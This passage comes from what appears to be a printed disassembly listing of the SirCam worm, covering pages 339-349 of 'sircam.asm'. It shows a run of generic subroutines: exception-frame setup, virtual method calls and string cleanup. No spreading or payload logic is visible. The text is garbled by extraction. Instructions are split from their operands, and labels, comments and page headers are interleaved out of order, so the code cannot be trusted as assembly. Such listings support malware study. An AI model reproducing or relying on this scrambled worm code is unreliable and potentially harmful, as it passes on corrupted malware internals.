mov pop pop pop retn endp ; DATA XREF: CODE:0040BACC\030o ; CODE:0040BBEC\030o ebx esi edi edi, ecx ebx, eax eax, ebx ecx, [eax] dword ptr [ecx+34h] esi, eax ecx, edi edx, esi eax, ebx ebx, [eax] dword ptr [ebx+24h] eax, esi edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sircam.asm Fri Aug 10 12:42:44 2001 sub_40C768 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 339 ; DATA XREF: CODE:0040BAD0\030o ; CODE:0040BBF0\030o push mov add push push push xor mov mov mov xor push push push mov mov call xor push push push mov mov mov call mov dec test jl inc xor ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ecx, ecx [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax eax, eax ebp offset loc_40C80F dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_40C890 eax, eax ebp offset loc_40C7F2 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] edx, [eax] dword ptr [edx+14h] esi, eax esi esi, esi short loc_40C7DC esi ebx, ebx lea mov mov mov call mov push mov mov mov call mov mov pop mov call inc dec jnz ; CODE XREF: sub_40C768+72\031j ecx, [ebp+var_C] edx, ebx eax, [ebp+var_8] edi, [eax] dword ptr [edi+0Ch] eax, [ebp+var_C] eax edx, ebx eax, [ebp+var_8] ecx, [eax] dword ptr [ecx+18h] ecx, eax eax, [ebp+var_4] edx edi, [eax] dword ptr [edi+38h] ebx esi short loc_40C7B2 xor pop pop pop mov push ; CODE XREF: sub_40C768+45\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40C7F9 mov eax, [ebp+var_4] loc_40C7B2: loc_40C7DC: loc_40C7E9: ; CODE XREF: CODE:0040C7F7\031j sircam.asm sub_40C768 Fri Aug 10 12:42:44 2001 340 call near ptr loc_40C947+5 retn endp ; sp = -2Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C7F2: ; DATA XREF: sub_40C768+2D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C7E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C7F9: xor pop pop pop mov push ; DATA XREF: sub_40C768+7C\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_40C816 loc_40C806: ; CODE XREF: CODE:0040C814\031j lea eax, [ebp-0Ch] call sub_4034C8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C80F: ; DATA XREF: sub_40C768+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C806 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C816: ; DATA XREF: CODE:0040C801\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C820 proc near var_4 = dword ptr -4 push mov push push mov mov mov mov call test jz mov call xor push push push mov mov ; DATA XREF: CODE:0040BA9C\030o ; CODE:0040BBBC\030o ebp ebp, esp ecx ebx ebx, edx [ebp+var_4], eax eax, ebx edx, ds:off_40BA48 sub_402C40 al, al short loc_40C880 eax, [ebp+var_4] sub_40C890 eax, eax ebp offset loc_40C879 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sircam.asm Fri Aug 10 12:42:44 2001 mov call mov mov mov call xor pop pop pop mov push 341 edx, [eax] dword ptr [edx+40h] edx, ebx eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+3Ch] eax, eax edx ecx ecx fs:[eax], edx offset loc_40C88A loc_40C870: ; CODE XREF: sub_40C820+5E\031j mov eax, [ebp+var_4] call near ptr loc_40C947+5 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C879: ; DATA XREF: sub_40C820+26\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C870 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C880: ; CODE XREF: sub_40C820+19\030j mov mov call edx, ebx eax, [ebp+var_4] sub_40C54C pop pop pop retn endp ebx ecx ebp loc_40C88A: sub_40C820 ; DATA XREF: sub_40C820+4B\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C890 proc near push mov cmp jnz mov mov mov call loc_40C8A2: sub_40C890 inc pop retn endp ; CODE XREF: sub_40C768+25\030p ; sub_40C820+1E\030p ... ebx ebx, eax dword ptr [ebx+4], 0 short loc_40C8A2 dl, 1 eax, ebx ecx, [eax] dword ptr [ecx+30h] ; CODE XREF: sub_40C890+7\030j dword ptr [ebx+4] ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C8A8 proc near arg_0 = dword ptr ; CODE XREF: sub_40C900+20\031p 8 sircam.asm Fri Aug 10 12:42:44 2001 342 push ebp mov ebp, esp push ebx push esi mov eax, [ebp+arg_0] mov eax, [eax-4] mov esi, [eax+20h] test esi, esi jz short loc_40C8E7 mov bl, 1 mov eax, [ebp+arg_0] mov eax, esi mov edx, ds:off_40BA48 call sub_402C40 test al, al jz short loc_40C8F7 mov eax, [ebp+arg_0] mov edx, esi mov eax, [ebp+arg_0] mov eax, [eax-8] call sub_40C960 mov ebx, eax xor bl, 1 jmp short loc_40C8F7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C8E7: mov mov mov call test setnle ; CODE XREF: sub_40C8A8+10\030j eax, [ebp+arg_0] eax, [eax-8] edx, [eax] dword ptr [edx+14h] eax, eax bl loc_40C8F7: sub_40C8A8 ; CODE XREF: sub_40C8A8+26\030j ; sub_40C8A8+3D\030j mov pop pop pop retn endp eax, ebx esi ebx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C900 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push mov add push mov mov mov push push mov push push push ; DATA XREF: CODE:0040BA98\030o ; CODE:0040BBB8\030o ebp ebp, esp esp, 0FFFFFFF8h ebx [ebp+var_4], edx [ebp+var_8], eax eax, [ebp+var_8] eax offset sub_40CF60 eax, [ebp+var_8] eax offset sub_40D210 ebp sircam.asm sub_40C900 Fri Aug 10 12:42:44 2001 343 call sub_40C8A8 pop ecx mov ecx, eax mov edx, offset sub_40C944 mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+4] pop ebx pop ecx pop ecx pop ebp retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 7 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C944 proc near ; DATA XREF: sub_40C900+28\030o push ebx jz short loc_40C9B9 loc_40C947: sub_40C944 imul endp add js add ; CODE XREF: sub_40C768+84\030p ; sub_40C820+53\030p ... ebp, [esi+67h], 48FF0073h al, 83h short near ptr loc_40C955+1 [ebp+7], dh loc_40C955: ; CODE XREF: CODE:0040C950\030j xor edx, edx mov ecx, [eax] call dword ptr [ecx+30h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C960 proc near var_14 var_10 var_9 var_8 var_4 = = = = = ; CODE XREF: sub_40C8A8+33\030p dword ptr -14h dword ptr -10h byte ptr -9 dword ptr -8 dword ptr -4 push mov add push push push xor mov mov mov mov xor push push push mov ebp ebp, esp esp, 0FFFFFFECh ebx esi edi ecx, ecx [ebp+var_10], ecx [ebp+var_14], ecx [ebp+var_8], edx [ebp+var_4], eax eax, eax ebp offset loc_40C9F5 dword ptr fs:[eax] fs:[eax], esp sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov call mov mov mov call cmp jnz mov dec test jl inc xor [ebp+var_9], 0 eax, [ebp+var_4] edx, [eax] dword ptr [edx+14h] ebx, eax eax, [ebp+var_8] edx, [eax] dword ptr [edx+14h] ebx, eax short loc_40C9DA esi, ebx esi esi, esi short loc_40C9D6 esi ebx, ebx lea mov mov mov call mov ; CODE XREF: sub_40C960+74\031j ecx, [ebp+var_10] edx, ebx eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] eax, [ebp+var_10] push lea mov mov mov call mov pop call jnz inc dec jnz ; CODE XREF: sub_40C944+1\030j eax ecx, [ebp+var_14] edx, ebx eax, [ebp+var_8] edi, [eax] dword ptr [edi+0Ch] edx, [ebp+var_14] eax sub_403834 short loc_40C9DA ebx esi short loc_40C9A9 mov [ebp+var_9], 1 loc_40C9A9: loc_40C9B9: loc_40C9D6: ; CODE XREF: sub_40C960+44\030j loc_40C9DA: ; CODE XREF: sub_40C960+3D\030j ; sub_40C960+70\030j xor pop pop pop mov push loc_40C9E7: sub_40C960 344 eax, eax edx ecx ecx fs:[eax], edx offset loc_40C9FC ; CODE XREF: CODE:0040C9FA\031j lea eax, [ebp+var_14] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C9F5: ; DATA XREF: sub_40C960+1A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C9E7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C9FC: ; DATA XREF: sub_40C960+82\030o mov pop al, [ebp-9] edi sircam.asm Fri Aug 10 12:42:44 2001 345 pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40CA08 sub_40CA08 proc near mov eax, [ebp+4] retn endp ; CODE XREF: sub_40CA0C+9\031p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40CA0C proc near var_8 var_4 = dword ptr -8 = byte ptr -4 sub_40CA0C push push add mov mov call push mov mov lea push push mov mov mov call jmp endp ; CODE XREF: sub_40CA44+2D\031p ebx esi esp, 0FFFFFFF8h esi, ecx ebx, edx sub_40CA08 eax [esp+0Ch+var_8], esi [esp+0Ch+var_4], 0 eax, [esp+0Ch+var_8] eax 0 ecx, ebx dl, 1 eax, ds:off_40B7A0 sub_40948C sub_402F98 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop ecx pop edx pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CA44 proc near var_4 = dword ptr -4 push mov push push push push mov mov ebp ebp, esp 0 ebx esi edi edi, ecx esi, edx ; CODE XREF: sub_40D2F0+3C\031p ; sub_40D3B8+19\031p ... sircam.asm Fri Aug 10 12:42:44 2001 mov xor push push push mov lea mov call mov mov mov call xor pop pop pop mov push ebx, eax eax, eax ebp offset loc_40CA8C dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, esi sub_404B80 edx, [ebp+var_4] ecx, edi eax, ebx sub_40CA0C eax, eax edx ecx ecx fs:[eax], edx offset loc_40CA93 loc_40CA83: sub_40CA44 346 ; CODE XREF: CODE:0040CA91\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CA8C: ; DATA XREF: sub_40CA44+11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CA83 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CA93: ; DATA XREF: sub_40CA44+3A\030o pop edi pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CA9C proc near var_10 var_C var_8 var_4 = = = = dword dword dword dword push mov add push push push xor mov mov mov mov mov xor push push ptr ptr ptr ptr ; DATA XREF: CODE:0040BADC\030o -10h -0Ch -8 -4 ebp ebp, esp esp, 0FFFFFFF0h ebx esi edi ebx, ebx [ebp+var_10], ebx [ebp+var_C], ebx esi, ecx ebx, edx [ebp+var_4], eax eax, eax ebp offset loc_40CB74 sircam.asm Fri Aug 10 12:42:44 2001 push mov mov call xor push push push mov lea mov mov mov call mov mov mov call mov lea mov mov mov call mov mov mov mov call mov mov mov call mov mov mov mov call mov mov mov mov call mov mov mov mov call xor pop pop pop mov push loc_40CB49: sub_40CA9C 347 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_40C890 eax, eax ebp offset loc_40CB52 dword ptr fs:[eax] fs:[eax], esp ecx, [ebp+var_C] edx, ebx eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] edx, ebx eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+18h] [ebp+var_8], eax ecx, [ebp+var_10] edx, esi eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] ecx, [ebp+var_10] edx, ebx eax, [ebp+var_4] edi, [eax] dword ptr [edi+20h] edx, esi eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+18h] ecx, eax edx, ebx eax, [ebp+var_4] ebx, [eax] dword ptr [ebx+24h] ecx, [ebp+var_C] edx, esi eax, [ebp+var_4] ebx, [eax] dword ptr [ebx+20h] ecx, [ebp+var_8] edx, esi eax, [ebp+var_4] ebx, [eax] dword ptr [ebx+24h] eax, eax edx ecx ecx fs:[eax], edx offset loc_40CB59 ; CODE XREF: CODE:0040CB57\031j mov eax, [ebp+var_4] call near ptr loc_40C947+5 retn endp ; sp = -30h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CB52: ; DATA XREF: sub_40CA9C+31\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CB49 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CB59: ; DATA XREF: sub_40CA9C+A8\030o sircam.asm Fri Aug 10 12:42:44 2001 xor pop pop pop mov push 348 eax, eax edx ecx ecx fs:[eax], edx offset loc_40CB7B loc_40CB66: ; CODE XREF: CODE:0040CB79\031j lea eax, [ebp-10h] mov edx, 2 call sub_4034EC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CB74: ; DATA XREF: sub_40CA9C+1B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CB66 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CB7B: ; DATA XREF: CODE:0040CB61\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40CB84: ; DATA XREF: CODE:0040BAA4\030o mov edx, [eax] call dword ptr [edx+14h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40CB8C: ; DATA XREF: CODE:0040BAAC\030o xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CB90 proc near var_4 = dword ptr -4 push mov push push mov xor push push push mov lea mov mov call mov call call mov ; DATA XREF: CODE:0040BAE0\030o ; CODE:0040BC00\030o ebp ebp, esp 0 ebx ebx, eax eax, eax ebp offset loc_40CBD5 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, ebx ecx, [eax] dword ptr [ecx+1Ch] eax, [ebp+var_4] sub_4038E8 sub_40765C ebx, eax sircam.asm Fri Aug 10 12:42:44 2001 xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_40CBDC loc_40CBCC: sub_40CB90 349 ; CODE XREF: CODE:0040CBDA\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CBD5: ; DATA XREF: sub_40CB90+B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CBCC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CBDC: ; DATA XREF: sub_40CB90+37\030o mov eax, ebx pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CBE4 proc near var_18 var_14 var_10 var_C var_8 var_4 = = = = = = dword dword dword dword dword dword push mov add push push push xor mov mov mov mov xor push push push mov mov mov call mov xor mov dec test jl inc ptr ptr ptr ptr ptr ptr ; DATA XREF: CODE:0040BAB0\030o ; CODE:0040BBD0\030o -18h -14h -10h -0Ch -8 -4 ebp ebp, esp esp, 0FFFFFFE8h ebx esi edi ecx, ecx [ebp+var_18], ecx [ebp+var_14], ecx [ebp+var_8], edx [ebp+var_4], eax eax, eax ebp offset loc_40CCBB dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] edx, [eax] dword ptr [edx+14h] [ebp+var_10], eax ebx, ebx esi, [ebp+var_10] esi esi, esi short loc_40CC47 esi sircam.asm Fri Aug 10 12:42:44 2001 mov [ebp+var_C], 0 lea mov mov mov 